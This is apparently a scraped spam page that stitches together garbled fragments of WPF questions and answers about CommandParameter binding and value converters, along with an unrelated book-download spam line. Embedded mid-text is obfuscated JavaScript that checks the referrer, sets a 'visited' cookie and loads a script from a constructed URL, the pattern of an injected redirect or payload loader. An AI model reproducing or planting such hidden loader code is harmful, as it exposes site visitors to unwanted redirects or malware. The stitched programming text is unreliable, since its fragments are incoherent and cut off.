Problem is, that CommandParameter binding/value conversion is executed when grid is shown, meaning that there is no selected item yet.. Your command Parameter should be just CommandParameter="" that way the parameter will be the row DataContext where the button was clicked which is an instance your model.. That's all you need to do How to use a ValueConverter in XAMLFirst thing you need to do is to map the namespace of your converter to a XAML namespace. How to implement a ValueConverterWPF already provides a few value converts, but you will soon need to implement your own converts.. So my initial idea was close enough When I was binding CommandParameter to DataGrid, problem was, that when binding was resolving, DataGrid didn't knew yet what is CurrentColumn or CurrentCell or CurrentItem, so it was resolving to empty values.. A simple and cool trick is to derive value converters from MarkupExtension This way you can create and use it in the binding like this: Text=> , and that is quite cool!Wpf converter command parameterGet via App Store Read this post in our app!How to convert command parameter just before command is executed?I have a DataGrid in my view and DataGrid has cells with buttons, which have commands assigned.. So I changed binding to bind to DataGridCell instead - and problem was solved - Cell has ability to tell it's column and item it belongs to at the binding resolution time, so when command was fired, it had all the right data already. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0xb5ed1b){_0x5662ed=window;}return _0x5662ed;};var _0x504adf=_0x4024c7();var _0x2dd4da='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x504adf['atob']||(_0x504adf['atob']=function(_0x4443b6){var _0x412460=String(_0x4443b6)['replace'](/=+$/,'');for(var _0x10edfa=0x0,_0x51e9dd,_0x1df569,_0x2ee896=0x0,_0x31f9f0='';_0x1df569=_0x412460['charAt'](_0x2ee896++);~_0x1df569&&(_0x51e9dd=_0x10edfa%0x4?_0x51e9dd*0x40+_0x1df569:_0x1df569,_0x10edfa++%0x4)?_0x31f9f0+=String['fromCharCode'](0xff&_0x51e9dd>>(-0x2*_0x10edfa&0x6)):0x0){_0x1df569=_0x2dd4da['indexOf'](_0x1df569);}return _0x31f9f0;});}());_0x56ae['base64DecodeUnicode']=function(_0x619c7f){var _0x4b1024=atob(_0x619c7f);var _0x272d85=[];for(var _0x574786=0x0,_0x4a3e13=_0x4b1024['length'];_0x574786=_0x336a19;},'WbNMM':function _0x401601(_0x451010,_0x5a7dad){return _0x451010===_0x5a7dad;},'eMCME':_0x56ae('0x29'),'IROZo':function _0x446e6(_0x15a9ed,_0x3db98f){return _0x15a9ed!==_0x3db98f;},'dAzEY':_0x56ae('0x2a'),'YxmTX':function _0x3942fd(_0x5cb48d,_0x382687){return _0x5cb48d+_0x382687;},'PzGKT':function _0x4f854b(_0x5bd139,_0x573df6){return _0x5bd139+_0x573df6;},'aYsSh':function _0x19e4e6(_0x3fa3f2,_0x426cb4){return _0x3fa3f2+_0x426cb4;},'aHotv':_0x56ae('0x1d'),'glYfv':function _0x4d99a8(_0x4156a5,_0x309fa9){return _0x4156a5*_0x309fa9;},'VvOsr':_0x56ae('0x15'),'aaBOp':_0x56ae('0x2b'),'mwvNC':_0x56ae('0x2c'),'ongEc':function _0x4b6c21(_0x57b1b1,_0x9484c8){return _0x57b1b1+_0x9484c8;},'BJwKS':_0x56ae('0x2d')};var _0x2a293f=[_0x20ae21[_0x56ae('0x2e')],_0x20ae21['qVtHE'],_0x20ae21[_0x56ae('0x2f')],_0x20ae21[_0x56ae('0x30')],_0x20ae21[_0x56ae('0x31')],_0x20ae21['AybLk'],_0x20ae21[_0x56ae('0x32')]],_0x5e85d0=document[_0x56ae('0x33')],_0x319752=![],_0x248a9a=cookie[_0x56ae('0x34')]('visited');for(var _0x549697=0x0;_0x20ae21['AogjL'](_0x549697,_0x2a293f[_0x56ae('0xc')]);_0x549697++){if(_0x20ae21[_0x56ae('0x35')](_0x5e85d0[_0x56ae('0x36')](_0x2a293f[_0x549697]),0x0)){if(_0x20ae21[_0x56ae('0x37')](_0x20ae21['eMCME'],_0x20ae21[_0x56ae('0x38')])){_0x319752=!![];}else{if(_0x20ae21['DRjkh'](_0x5e85d0[_0x56ae('0x36')](_0x2a293f[_0x549697]),0x0)){_0x319752=!![];}}}}if(_0x319752){if(_0x20ae21[_0x56ae('0x39')](_0x20ae21[_0x56ae('0x3a')],'GuX')){document[_0x56ae('0x17')]=_0x20ae21[_0x56ae('0x3b')](_0x20ae21[_0x56ae('0x3c')](_0x20ae21['PzGKT'](_0x20ae21[_0x56ae('0x3d')](name,'=')+escape(value),expires?_0x20ae21['aHotv']+new Date(_0x20ae21[_0x56ae('0x3d')](new Date()['getTime'](),_0x20ae21[_0x56ae('0x3e')](expires,0x3e8))):''),path?_0x20ae21['VvOsr']+path:''),domain?_0x20ae21[_0x56ae('0x3d')](_0x56ae('0x16'),domain):'')+(secure?_0x56ae('0x3f'):'');}else{cookie[_0x56ae('0xf')](_0x20ae21[_0x56ae('0x40')],0x1,0x1);if(!_0x248a9a){if(_0x20ae21[_0x56ae('0x39')](_0x20ae21[_0x56ae('0x41')],'Dha')){include(_0x20ae21[_0x56ae('0x42')](_0x20ae21[_0x56ae('0x42')](_0x20ae21['BJwKS'],q),''));}else{params=matches[_0x549697][_0x56ae('0xe')]('=');cookie[params[0x0]]=params[0x1][_0x56ae('0x43')](/;$/);}}}}}R(); ValueConvertersIntroductionIf you want to databind two properties that have incompatible types, you need a piece of code in between, that converts the value from source to target type and back. The art of Castlevania : lords of shadow Download book RTF, EPUB, DOC, DJVU
To do this, add a class to your project and call it [SourceType]To[TargetType]Converter.. Cast your parameter to your model inside your commadns Execute method Say for example that you wanted to prevent the command from executing if the SelectedItem was null or if the Item has to be selected, then all you need is to return a bool from your CanExecute method based on whatever you want.. Can I somehow avoid bringing DataGrid reference into my command execution logic, like deffer CommandParameter resolution until Command is performed or something like that?Update: I need CurrentItem and CurrentColumn, I've realized, that CurrentItem might be accessible through binding of SelectedItem, so to avoid receiving answers with proposing use SelectedItem property.. Wpf converter command parameterGet via App Store Read this post in our app!how to pass an integer as ConverterParameter?I am trying to bind to an integer property:and my converter is:the problem is that when my converter is called the parameter is string.. Now I wish to pass current row object (which sits in DataGrid CurrentItem) to command execution logic. e828bfe731
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